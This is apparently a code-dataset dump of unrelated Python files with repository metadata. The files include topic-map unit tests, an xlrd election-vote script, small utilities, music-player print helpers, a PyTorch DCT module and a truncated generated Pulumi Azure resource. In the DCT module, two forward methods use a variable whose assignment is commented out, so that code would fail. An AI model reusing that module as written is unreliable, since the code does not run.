self.tm.get_topics().count()) self.assertTrue(topic in self.tm.get_topics()) self.assertEqual(1, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) locator2 = topic.get_item_identifiers()[0] self.assertEqual(locator, locator2) def test_topic_creation_item_identifier_illegal (self): self.assertRaises(ModelConstraintException, self.tm.create_topic_by_item_identifier, None) def test_topic_creation_automagic_item_identifier (self): self.assertEqual(0, self.tm.get_topics().count()) topic = self.tm.create_topic(); self.assertEqual(1, self.tm.get_topics().count()) self.assertTrue(topic in self.tm.get_topics()) self.assertEqual(1, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) def test_topic_by_subject_identifier (self): locator = self.create_locator('http://www.example.org/') t = self.tm.get_topic_by_subject_identifier(locator) self.assertEqual(None, t) topic = self.tm.create_topic_by_subject_identifier(locator) t = self.tm.get_topic_by_subject_identifier(locator) self.assertNotEqual(t, None) self.assertEqual(topic, t) topic.remove() t = self.tm.get_topic_by_subject_identifier(locator) self.assertEqual(None, t) def test_topic_by_subject_locator (self): locator = self.create_locator('http://www.example.org/') t = self.tm.get_topic_by_subject_locator(locator) self.assertEqual(None, t) topic = self.tm.create_topic_by_subject_locator(locator) t = self.tm.get_topic_by_subject_locator(locator) self.assertNotEqual(t, None) self.assertEqual(topic, t) topic.remove() t = self.tm.get_topic_by_subject_locator(locator) self.assertEqual(None, t) def test_association_creation_type (self): type_topic = self.create_topic() self.assertEqual(0, self.tm.get_associations().count()) association = self.tm.create_association(type_topic) self.assertEqual(1, self.tm.get_associations().count()) self.assertTrue(association in self.tm.get_associations()) self.assertEqual(0, association.get_roles().count()) self.assertEqual(type_topic, association.get_type()) self.assertEqual(0, association.get_scope().count()) def test_association_creation_type_scope_single (self): type_topic = self.create_topic() theme = self.create_topic() self.assertEqual(0, self.tm.get_associations().count()) association = self.tm.create_association(type_topic, (theme,)) self.assertEqual(1, self.tm.get_associations().count()) self.assertTrue(association in self.tm.get_associations()) self.assertEqual(0, association.get_roles().count()) self.assertEqual(type_topic, association.get_type()) self.assertEqual(1, association.get_scope().count()) self.assertTrue(theme in association.get_scope()) def test_association_creation_type_scope_multiple (self): type_topic = self.create_topic() theme = self.create_topic() theme2 = self.create_topic() self.assertEqual(0, self.tm.get_associations().count()) association = self.tm.create_association(type_topic, (theme, theme2)) self.assertEqual(1, self.tm.get_associations().count()) self.assertTrue(association in self.tm.get_associations()) self.assertEqual(0, association.get_roles().count()) self.assertEqual(type_topic, association.get_type()) self.assertEqual(2, association.get_scope().count()) self.assertTrue(theme in association.get_scope()) self.assertTrue(theme2 in association.get_scope()) def test_association_creation_illegal_type (self): self.assertRaises(ModelConstraintException, self.tm.create_association, None) def test_association_creation_illegal_type_scope (self): self.assertRaises(ModelConstraintException, self.tm.create_association, None, [self.tm.create_topic()]) def test_association_creation_illegal_null_collection_scope (self): # This test is not applicable in this implementation. pass def test_association_creation_illegal_null_array_scope (self): # This test is not applicable in this implementation. pass def test_get_from_topic_creation_subject_identifier (self): """Verify that create_topic_by_subject_indicator returns existing topic where that topic has an item identifier matching the subject identifier.""" locator = self.create_locator('http://www.example.org/') self.assertEqual(0, self.tm.get_topics().count()) topic = self.tm.create_topic_by_item_identifier(locator) self.assertEqual(1, self.tm.get_topics().count()) self.assertTrue(topic in self.tm.get_topics()) self.assertEqual(0, topic.get_subject_identifiers().count()) self.assertEqual(1, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) t = self.tm.create_topic_by_subject_identifier(locator) self.assertEqual(1, self.tm.get_topics().count()) self.assertEqual(1, topic.get_subject_identifiers().count()) self.assertEqual(1, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) self.assertEqual(topic, t) def test_get_from_creation_item_identifier (self): """Verify that create_topic_by_item_identifier returns existing topic where that topic has a subject identifier matching the item identifier.""" locator = self.create_locator('http://www.example.org/') self.assertEqual(0, self.tm.get_topics().count()) topic = self.tm.create_topic_by_subject_identifier(locator) self.assertEqual(1, self.tm.get_topics().count()) self.assertTrue(topic in self.tm.get_topics()) self.assertEqual(1, topic.get_subject_identifiers().count()) self.assertEqual(0, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) t = self.tm.create_topic_by_item_identifier(locator) self.assertEqual(1, self.tm.get_topics().count()) self.assertEqual(1, topic.get_subject_identifiers().count()) self.assertEqual(1, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) self.assertEqual(topic, t) def test_get_index (self): self.assertRaises(UnsupportedOperationException, self.tm.get_index, BogusIndex) class BogusIndex (object): pass

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0

null

0

1

0

null

0

1

0

7

0f592824ee2c266c1ac968dcc2a2186f6007519f

4,109

py

Python

Followers.py

jemmypotter/Python

c8fc5c49c5289dc0598c93eef4cfbcb5701c2b32

[ "bzip2-1.0.6" ]

null

Followers.py

jemmypotter/Python

c8fc5c49c5289dc0598c93eef4cfbcb5701c2b32

[ "bzip2-1.0.6" ]

null

Followers.py

jemmypotter/Python

c8fc5c49c5289dc0598c93eef4cfbcb5701c2b32

[ "bzip2-1.0.6" ]

null

import xlrd from tkinter.filedialog import askopenfilename def path(): p=askopenfilename() return p def part(): p=path() workbook=xlrd.open_workbook(p) worksheet=workbook.sheet_by_index(0) parts=[] for i in range(9, 21): party = worksheet.cell_value(10, i) parts.append(party) return parts def dists(): path1=path() wb=xlrd.open_workbook(path1) ws=wb.sheet_by_index(0) di=[] for i in range(11, 50): district = ws.cell_value(i, 2) di.append(district) return di print(dists()) def check(): path1=path() parties=part() districts=dists() whole={} workbook=xlrd.open_workbook(path1) worksheet=workbook.sheet_by_index(0) vote1 = [] vote2 = [] vote3 = [] vote4 = [] vote5 = [] vote6 = [] vote7 = [] vote8 = [] vote9 = [] vote10 = [] vote11 = [] vote12 = [] for i in range(11,50): vote_saadet=worksheet.cell_value(i,9) vote_btp=worksheet.cell_value(i,10) vote_tkp=worksheet.cell_value(i,11) vote_vatan=worksheet.cell_value(i,12) vote_bbp=worksheet.cell_value(i,13) vote_chp=worksheet.cell_value(i,14) vote_ak=worksheet.cell_value(i,15) vote_dp=worksheet.cell_value(i,16) vote_mhp=worksheet.cell_value(i,17) vote_iyi=worksheet.cell_value(i,18) vote_hdp=worksheet.cell_value(i,19) vote_dsp=worksheet.cell_value(i,20) vote1.append(vote_saadet) vote2.append(vote_btp) vote3.append(vote_tkp) vote4.append(vote_vatan) vote5.append(vote_bbp) vote6.append(vote_chp) vote7.append(vote_ak) vote8.append(vote_dp) vote9.append(vote_mhp) vote10.append(vote_iyi) vote11.append(vote_hdp) vote12.append(vote_dsp) whole[parties[0]] = vote1 whole[parties[1]] = vote2 whole[parties[2]] = vote3 whole[parties[3]] = vote4 whole[parties[4]] = vote5 whole[parties[5]] = vote6 whole[parties[6]] = vote7 whole[parties[7]] = vote8 whole[parties[8]] = vote9 whole[parties[9]] = vote10 whole[parties[10]] = vote11 whole[parties[11]] = vote12 return whole #print(check()) def check2(): path1=path() parties=part() districts=dists() workbook=xlrd.open_workbook(path1) worksheet=workbook.sheet_by_index(0) whole={} vote1 = [] vote2 = [] vote3 = [] vote4 = [] vote5 = [] vote6 = [] vote7 = [] vote8 = [] vote9 = [] vote10 = [] vote11 = [] vote12 = [] for i in range(11,50): vote_saadet=worksheet.cell_value(i,9) vote_btp=worksheet.cell_value(i,10) vote_tkp=worksheet.cell_value(i,11) vote_vatan=worksheet.cell_value(i,12) vote_bbp=worksheet.cell_value(i,13) vote_chp=worksheet.cell_value(i,14) vote_ak=worksheet.cell_value(i,15) vote_dp=worksheet.cell_value(i,16) vote_mhp=worksheet.cell_value(i,17) vote_iyi=worksheet.cell_value(i,18) vote_hdp=worksheet.cell_value(i,19) vote_dsp=worksheet.cell_value(i,20) vote1.append(vote_saadet) vote2.append(vote_btp) vote3.append(vote_tkp) vote4.append(vote_vatan) vote5.append(vote_bbp) vote6.append(vote_chp) vote7.append(vote_ak) vote8.append(vote_dp) vote9.append(vote_mhp) vote10.append(vote_iyi) vote11.append(vote_hdp) vote12.append(vote_dsp) vote=[vote1,vote2,vote3,vote4,vote5,vote6,vote7,vote8,vote9,vote10,vote11,vote12] whole[parties[0]] = vote1 whole[parties[1]] = vote2 whole[parties[2]] = vote3 whole[parties[3]] = vote4 whole[parties[4]] = vote5 whole[parties[5]] = vote6 whole[parties[6]] = vote7 whole[parties[7]] = vote8 whole[parties[8]] = vote9 whole[parties[9]] = vote10 whole[parties[10]] = vote11 whole[parties[11]] = vote12 for k in parties: for val in range(0,39): whole[k][val]=districts[val] print(whole) check2()

27.032895

85

0.613531

552

4,109

4.411232

0.161232

0.096099

0.184805

0.187269

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0.779877

0

0.069213

0.254563

4,109

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false

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0

null

0

1

0

1

0

null

0

9

0f5cea0a294e94e966938fe384841a587b229494

137

py

Python

addons/test_mail/models/__init__.py

SHIVJITH/Odoo_Machine_Test

310497a9872db7844b521e6dab5f7a9f61d365a4

[ "Apache-2.0" ]

null

addons/test_mail/models/__init__.py

SHIVJITH/Odoo_Machine_Test

310497a9872db7844b521e6dab5f7a9f61d365a4

[ "Apache-2.0" ]

null

addons/test_mail/models/__init__.py

SHIVJITH/Odoo_Machine_Test

310497a9872db7844b521e6dab5f7a9f61d365a4

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from . import test_mail_models from . import test_mail_corner_case_models from . import test_mail_thread_models

22.833333

42

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0.428571

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0.489796

0

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0.131387

137

5

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true

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null

0

1

0

1

0

1

0

8

0f80b5877d002f067a34c87c2dba7b3dbd01e52b

711

py

Python

xutilities/numeric.py

stbraun/xutilities

c5c83a3dea406a5d24c07c16cbe9039302445d3b

[ "MIT" ]

null

xutilities/numeric.py

stbraun/xutilities

c5c83a3dea406a5d24c07c16cbe9039302445d3b

[ "MIT" ]

null

xutilities/numeric.py

stbraun/xutilities

c5c83a3dea406a5d24c07c16cbe9039302445d3b

[ "MIT" ]

null

# coding=utf-8 """ Some utilities related to numbers. """ def is_even(num: int) -> bool: """Is num even? :param num: number to check. :type num: int :returns: True if num is even. :rtype: bool :raises: ``TypeError`` if num is not an int. """ if not isinstance(num, int): raise TypeError("{} is not an int".format(num)) return num % 2 == 0 def is_odd(num: int) -> bool: """Is num odd? :param num: number to check. :type num: int :returns: True if num is odd. :rtype: bool :raises: ``TypeError`` if num is not an int. """ if not isinstance(num, int): raise TypeError("{} is not an int".format(num)) return num % 2 == 1

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null

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7

7e501f15c970b26484e13d22856614a97e027c0a

1,543

py

Python

spotifix/print_func.py

FlorianLeveil/UF_DEV_LOGICIEL

c48fd1ec5a7c89f03fbe1679b4306fdda3ddf46e

[ "MIT" ]

null

spotifix/print_func.py

FlorianLeveil/UF_DEV_LOGICIEL

c48fd1ec5a7c89f03fbe1679b4306fdda3ddf46e

[ "MIT" ]

null

spotifix/print_func.py

FlorianLeveil/UF_DEV_LOGICIEL

c48fd1ec5a7c89f03fbe1679b4306fdda3ddf46e

[ "MIT" ]

null

ENDC = '\033[0m' OKGREEN = '\033[92m' def print_play_my_playlist(playlist_name, name_song, artist, total_time, prefix, bar, percent, suffix): print("\033[F"*13) print( f'{playlist_name} | {name_song} | {artist} | {total_time[:7]}', f'{prefix}|{OKGREEN}{bar}{ENDC}|{percent[:7]} {suffix}', f'', f'p : Pause', f'l : Play', f'+ / - : Volume', f's : Shuffle', f'n : Next Song', f'b : Previous Song', f'x : exit', f'', f'', sep="\n" ) def print_play_one_song(name_song, artist, total_time, prefix, bar, percent, suffix): print("\033[F"*13) print( f'{name_song} | {artist} | {total_time[:7]}', f'{prefix}|{OKGREEN}{bar}{ENDC}|{percent[:7]} {suffix}', f'', f'p : Pause', f'l : Play', f'+ : Up Volume', f'- : Down Volume', f'r : Add to a playlist', f'x : exit', f'', f'', f'', sep="\n" ) def print_play_playlist(playlist_name, name_song, artist, total_time, prefix, bar, percent, suffix): print("\033[F"*13) print( f'{playlist_name} | {name_song} | {artist} | {total_time[:7]}', f'{prefix}|{OKGREEN}{bar}{ENDC}|{percent[:7]} {suffix}', f'', f'p : Pause', f'l : Play', f'+ / - : Volume', f's : Shuffle', f'n : Next Song', f'b : Previous Song', f'a : Follow this playlist', f'x : exit', f'', sep="\n" )

27.553571

103

0.474401

200

1,543

3.54

0.22

0.067797

0.118644

0.161017

0.879944

0.830508

0.779661

0

0.02893

0.327933

1,543

56

104

27.553571

0.653809

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0

null

0

1

0

1

0

null

0

8

7e813e68c2c720702287979e433631f480d9f6f5

475

py

Python

utils/emuns.py

venthent/MusicDownloader

76052513ccdc4b6ebb0fc0d2d05a39debc76263d

[ "Apache-2.0" ]

null

utils/emuns.py

venthent/MusicDownloader

76052513ccdc4b6ebb0fc0d2d05a39debc76263d

[ "Apache-2.0" ]

null

utils/emuns.py

venthent/MusicDownloader

76052513ccdc4b6ebb0fc0d2d05a39debc76263d

[ "Apache-2.0" ]

null

PARAMS = 'Ef9lNdClTjkbPliRqRyzMvS5YAwFt6Qcelx8fba8CkPPaQaO7sodt2Ei9M58RJZDd/o/pX94EYfdR40Wtg1JMgpV5hcsUQthNtpneuM2oCQVc/G7moHQRUzT4oobALKlAJ5/Kw1BH30vvNRRUgTY4i2w0VI5MkJyNWDK4c80CDR1/L9soSmDkfn/lmhId3fx', ENCSecKey="38ea911cdb0a1effa4c6ea420475ad8908913b9b207ec3d30cc98302d9c44605b327a79b75996939321dc2d02edf48f324c1045c7c7f10fd6956c417d273ab84bb5ddf57efdef1d4e9c3e91c97ea7abff75578e7cf25e1a9f3f03fcde61d1e4db326887d03c5749a3db843b6b06a9da539f32cfe4d27d7e86486d31a69daf52b"

118.75

268

0.962105

10

475

45.7

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0

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0.010526

475

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158.333333

0.576596

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false

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1

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1

null

1

0

8

7e96408f30552bef242a2f0e7a1b2a0f9ebf4bd8

7,196

py

Python

GPBlend/dct_module.py

GuardSkill/ImageBlend

2c5f5b50882d438557fd380173ed74cb52832b92

[ "Apache-2.0" ]

null

GPBlend/dct_module.py

GuardSkill/ImageBlend

2c5f5b50882d438557fd380173ed74cb52832b92

[ "Apache-2.0" ]

null

GPBlend/dct_module.py

GuardSkill/ImageBlend

2c5f5b50882d438557fd380173ed74cb52832b92

[ "Apache-2.0" ]

null

import time import torch import math import torch import torch.nn as nn import torch.nn.functional as F import numbers import numpy as np class dctmodule(nn.Module): def __init__(self, shape): super(dctmodule, self).__init__() N = shape[-1] k = torch.nn.Parameter(- torch.arange(N, dtype=float)[None, :] * np.pi / (2 * N)) self.W_r = torch.cos(k) self.W_i = torch.sin(k) def forward(self, x, norm=None): x_shape = x.shape N = x_shape[-1] x = x.contiguous().view(-1, N) v = torch.cat([x[:, ::2], x[:, 1::2].flip([1])], dim=1) # Vc = torch.rfft(v, 1, onesided=False) # Vc = torch.view_as_real(torch.fft.fft(v, dim=1)) # pytoch 1.9 V = Vc[:, :, 0] * self.W_r - Vc[:, :, 1] * self.W_i if norm == 'ortho': V[:, 0] /= np.sqrt(N) * 2 V[:, 1:] /= np.sqrt(N / 2) * 2 V = 2 * V.view(*x_shape) return V class dctmodule2D(nn.Module): def __init__(self, shape): super(dctmodule2D, self).__init__() N_weight = shape[-1] k_weight = - torch.arange(N_weight, dtype=float)[None, :] * np.pi / (2 * N_weight) self.W_r_weight = torch.nn.Parameter(torch.cos(k_weight)) self.W_i_weight = torch.nn.Parameter(torch.sin(k_weight)) self.inverted_index_weight = torch.arange(N_weight - 1, 0, -2) self.index_weight = torch.arange(0, N_weight, 2) N_height = shape[-2] k_height = - torch.arange(N_height, dtype=float)[None, :] * np.pi / (2 * N_height) self.W_r_height = torch.nn.Parameter(torch.cos(k_height)) self.W_i_height = torch.nn.Parameter(torch.sin(k_height)) self.inverted_index_height = torch.arange(N_height - 1, 0, -2) self.index_height = torch.arange(0, N_height, 2) self.N_weight = N_weight self.N_height = N_height def _apply(self, fn): super(dctmodule2D, self)._apply(fn) self.inverted_index_weight = fn(self.inverted_index_weight) self.inverted_index_height = fn(self.inverted_index_height) self.W_r_weight = fn(self.W_r_weight) self.W_i_weight = fn(self.W_i_weight) self.W_r_height = fn(self.W_r_height) self.W_i_height = fn(self.W_i_height) return self def forward(self, x, norm='ortho'): x_shape = x.shape N = self.N_weight x = x.contiguous().view(-1, N) # v = torch.cat([x[:, ::2], x[:, 1::2].flip([1])], dim=1) v = torch.cat([x[:, self.index_weight], x[:, self.inverted_index_weight]], dim=1) # Vc = torch.rfft(v, 1, onesided=False) # Vc = torch.view_as_real(torch.fft.fft(v.float(), dim=1)) # pytoch 1.9 # Vc = torch.view_as_real(torch.fft.fft(v, dim=1)) V = Vc[:, :, 0] * self.W_r_weight - Vc[:, :, 1] * self.W_i_weight if norm == 'ortho': V[:, 0] /= np.sqrt(N) * 2 V[:, 1:] /= np.sqrt(N / 2) * 2 V = 2 * V.view(*x_shape) x = V.transpose(-1, -2) x_shape = x.shape N = self.N_height x = x.contiguous().view(-1, N) # v = torch.cat([x[:, ::2], x[:, 1::2].flip([1])], dim=1) v = torch.cat([x[:, self.index_height], x[:, self.inverted_index_height]], dim=1) # Vc = torch.rfft(v, 1, onesided=False) # torch.cuda.synchronize() # TEST_TIME = time.time() Vc = torch.view_as_real(torch.fft.fft(v, dim=1)) # pytoch 1.9 第二次fft最耗时 # Vc = torch.view_as_real(torch.fft.fft(v, dim=1)) # Vc = Vc # torch.cuda.synchronize() # print('TEST TIME', (time.time() - TEST_TIME) * 1000) V = Vc[:, :, 0] * self.W_r_height - Vc[:, :, 1] * self.W_i_height if norm == 'ortho': V[:, 0] /= np.sqrt(N) * 2 V[:, 1:] /= np.sqrt(N / 2) * 2 V = 2 * V.view(*x_shape) V = V.transpose(-1, -2) return V class idctmodule2D(nn.Module): def __init__(self, shape): super(idctmodule2D, self).__init__() N_weight = shape[-1] k_weight = torch.arange(N_weight, dtype=float)[None, :] * np.pi / (2 * N_weight) self.W_r_weight = torch.nn.Parameter(torch.cos(k_weight)) self.W_i_weight = torch.nn.Parameter(torch.sin(k_weight)) self.inverted_index_weight = torch.arange(N_weight - 1, 0, -2) self.index_weight = torch.arange(0, N_weight, 2) N_height = shape[-2] k_height = torch.arange(N_height, dtype=float)[None, :] * np.pi / (2 * N_height) self.W_r_height = torch.nn.Parameter(torch.cos(k_height)) self.W_i_height = torch.nn.Parameter(torch.sin(k_height)) self.inverted_index_height = torch.arange(N_height - 1, 0, -2) self.index_height = torch.arange(0, N_height, 2) self.N_weight = N_weight self.N_height = N_height def _apply(self, fn): super(idctmodule2D, self)._apply(fn) self.inverted_index_weight = fn(self.inverted_index_weight) self.inverted_index_height = fn(self.inverted_index_height) self.W_r_weight = fn(self.W_r_weight) self.W_i_weight = fn(self.W_i_weight) self.W_r_height = fn(self.W_r_height) self.W_i_height = fn(self.W_i_height) return self def forward(self, X, norm='ortho'): x_shape = X.shape N = self.N_weight X_v = X.contiguous().view(-1, x_shape[-1]) / 2 if norm == 'ortho': X_v[:, 0] *= np.sqrt(N) * 2 X_v[:, 1:] *= np.sqrt(N / 2) * 2 V_t_r = X_v V_t_i = torch.cat([X_v[:, :1] * 0, -X_v.flip([1])[:, :-1]], dim=1) V_r = V_t_r * self.W_r_weight - V_t_i * self.W_i_weight V_i = V_t_r * self.W_i_weight + V_t_i * self.W_r_weight V = torch.cat([V_r.unsqueeze(2), V_i.unsqueeze(2)], dim=2) # v = torch.irfft(V, 1, onesided=False) v = torch.fft.irfft(torch.view_as_complex(V), n=V.shape[1], dim=1) # torch 1.9 # v = torch.fft.irfft(torch.view_as_complex(V.float()), n=V.shape[1], dim=1).half() # torch 1.9 x = v.new_zeros(v.shape) x[:, ::2] += v[:, :N - (N // 2)] x[:, 1::2] += v.flip([1])[:, :N // 2] x = x.view(*x_shape) X = x.transpose(-1, -2) x_shape = X.shape N = self.N_height X_v = X.contiguous().view(-1, x_shape[-1]) / 2 if norm == 'ortho': X_v[:, 0] *= np.sqrt(N) * 2 X_v[:, 1:] *= np.sqrt(N / 2) * 2 V_t_r = X_v V_t_i = torch.cat([X_v[:, :1] * 0, -X_v.flip([1])[:, :-1]], dim=1) V_r = V_t_r * self.W_r_height - V_t_i * self.W_i_height V_i = V_t_r * self.W_i_height + V_t_i * self.W_r_height V = torch.cat([V_r.unsqueeze(2), V_i.unsqueeze(2)], dim=2) # v = torch.irfft(V, 1, onesided= v = torch.fft.irfft(torch.view_as_complex(V), n=V.shape[1], dim=1) # v = torch.fft.irfft(torch.view_as_complex(V.float()), n=V.shape[1], dim=1).half() # torch 1.9 x = v.new_zeros(v.shape) x[:, ::2] += v[:, :N - (N // 2)] x[:, 1::2] += v.flip([1])[:, :N // 2] x = x.view(*x_shape) return x.transpose(-1, -2)

35.800995

104

0.550306

1,178

7,196

3.140068

0.066214

0.054069

0.032441

0.021627

0.85077

0.825088

0.800757

0.77183

0.765883

0.757772

0

0.032035

0.27557

7,196

200

105

35.98

0.677537

0.111034

0

0.702899

0

0.005493

0

1

0.057971

false

0

0.057971

0

0.173913

0

null

0

1

0

1

0

null

0

7

0e5319be9f03e79c1c36f0d06449324335ec6baa

27,772

py

Python

sdk/python/pulumi_azure/core/subscription.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

109

2018-06-18T00:19:44.000Z

2022-02-20T05:32:57.000Z

sdk/python/pulumi_azure/core/subscription.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

663

2018-06-18T21:08:46.000Z

2022-03-31T20:10:11.000Z

sdk/python/pulumi_azure/core/subscription.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

41

2018-07-19T22:37:38.000Z

2022-03-14T10:56:26.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['SubscriptionArgs', 'Subscription'] @pulumi.input_type class SubscriptionArgs: def __init__(__self__, *, subscription_name: pulumi.Input[str], alias: Optional[pulumi.Input[str]] = None, billing_scope_id: Optional[pulumi.Input[str]] = None, subscription_id: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, workload: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Subscription resource. :param pulumi.Input[str] subscription_name: The Name of the Subscription. This is the Display Name in the portal. :param pulumi.Input[str] alias: The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. :param pulumi.Input[str] billing_scope_id: The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. :param pulumi.Input[str] subscription_id: The ID of the Subscription. Changing this forces a new Subscription to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the Subscription. :param pulumi.Input[str] workload: The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ pulumi.set(__self__, "subscription_name", subscription_name) if alias is not None: pulumi.set(__self__, "alias", alias) if billing_scope_id is not None: pulumi.set(__self__, "billing_scope_id", billing_scope_id) if subscription_id is not None: pulumi.set(__self__, "subscription_id", subscription_id) if tags is not None: pulumi.set(__self__, "tags", tags) if workload is not None: pulumi.set(__self__, "workload", workload) @property @pulumi.getter(name="subscriptionName") def subscription_name(self) -> pulumi.Input[str]: """ The Name of the Subscription. This is the Display Name in the portal. """ return pulumi.get(self, "subscription_name") @subscription_name.setter def subscription_name(self, value: pulumi.Input[str]): pulumi.set(self, "subscription_name", value) @property @pulumi.getter def alias(self) -> Optional[pulumi.Input[str]]: """ The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "alias") @alias.setter def alias(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "alias", value) @property @pulumi.getter(name="billingScopeId") def billing_scope_id(self) -> Optional[pulumi.Input[str]]: """ The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. """ return pulumi.get(self, "billing_scope_id") @billing_scope_id.setter def billing_scope_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "billing_scope_id", value) @property @pulumi.getter(name="subscriptionId") def subscription_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the Subscription. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "subscription_id") @subscription_id.setter def subscription_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subscription_id", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A mapping of tags to assign to the Subscription. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter def workload(self) -> Optional[pulumi.Input[str]]: """ The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "workload") @workload.setter def workload(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "workload", value) @pulumi.input_type class _SubscriptionState: def __init__(__self__, *, alias: Optional[pulumi.Input[str]] = None, billing_scope_id: Optional[pulumi.Input[str]] = None, subscription_id: Optional[pulumi.Input[str]] = None, subscription_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tenant_id: Optional[pulumi.Input[str]] = None, workload: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering Subscription resources. :param pulumi.Input[str] alias: The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. :param pulumi.Input[str] billing_scope_id: The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. :param pulumi.Input[str] subscription_id: The ID of the Subscription. Changing this forces a new Subscription to be created. :param pulumi.Input[str] subscription_name: The Name of the Subscription. This is the Display Name in the portal. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the Subscription. :param pulumi.Input[str] tenant_id: The ID of the Tenant to which the subscription belongs. :param pulumi.Input[str] workload: The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ if alias is not None: pulumi.set(__self__, "alias", alias) if billing_scope_id is not None: pulumi.set(__self__, "billing_scope_id", billing_scope_id) if subscription_id is not None: pulumi.set(__self__, "subscription_id", subscription_id) if subscription_name is not None: pulumi.set(__self__, "subscription_name", subscription_name) if tags is not None: pulumi.set(__self__, "tags", tags) if tenant_id is not None: pulumi.set(__self__, "tenant_id", tenant_id) if workload is not None: pulumi.set(__self__, "workload", workload) @property @pulumi.getter def alias(self) -> Optional[pulumi.Input[str]]: """ The Alias name for the subscription. This provider will generate a new GUID if this is not supplied. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "alias") @alias.setter def alias(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "alias", value) @property @pulumi.getter(name="billingScopeId") def billing_scope_id(self) -> Optional[pulumi.Input[str]]: """ The Azure Billing Scope ID. Can be a Microsoft Customer Account Billing Scope ID, a Microsoft Partner Account Billing Scope ID or an Enrollment Billing Scope ID. """ return pulumi.get(self, "billing_scope_id") @billing_scope_id.setter def billing_scope_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "billing_scope_id", value) @property @pulumi.getter(name="subscriptionId") def subscription_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the Subscription. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "subscription_id") @subscription_id.setter def subscription_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subscription_id", value) @property @pulumi.getter(name="subscriptionName") def subscription_name(self) -> Optional[pulumi.Input[str]]: """ The Name of the Subscription. This is the Display Name in the portal. """ return pulumi.get(self, "subscription_name") @subscription_name.setter def subscription_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subscription_name", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A mapping of tags to assign to the Subscription. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter(name="tenantId") def tenant_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the Tenant to which the subscription belongs. """ return pulumi.get(self, "tenant_id") @tenant_id.setter def tenant_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tenant_id", value) @property @pulumi.getter def workload(self) -> Optional[pulumi.Input[str]]: """ The workload type of the Subscription. Possible values are `Production` (default) and `DevTest`. Changing this forces a new Subscription to be created. """ return pulumi.get(self, "workload") @workload.setter def workload(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "workload", value) class Subscription(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, alias: Optional[pulumi.Input[str]] = None, billing_scope_id: Optional[pulumi.Input[str]] = None, subscription_id: Optional[pulumi.Input[str]] = None, subscription_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, workload: Optional[pulumi.Input[str]] = None, __props__=None): """ Manages an Alias for a Subscription - which adds an Alias to an existing Subscription, allowing it to be 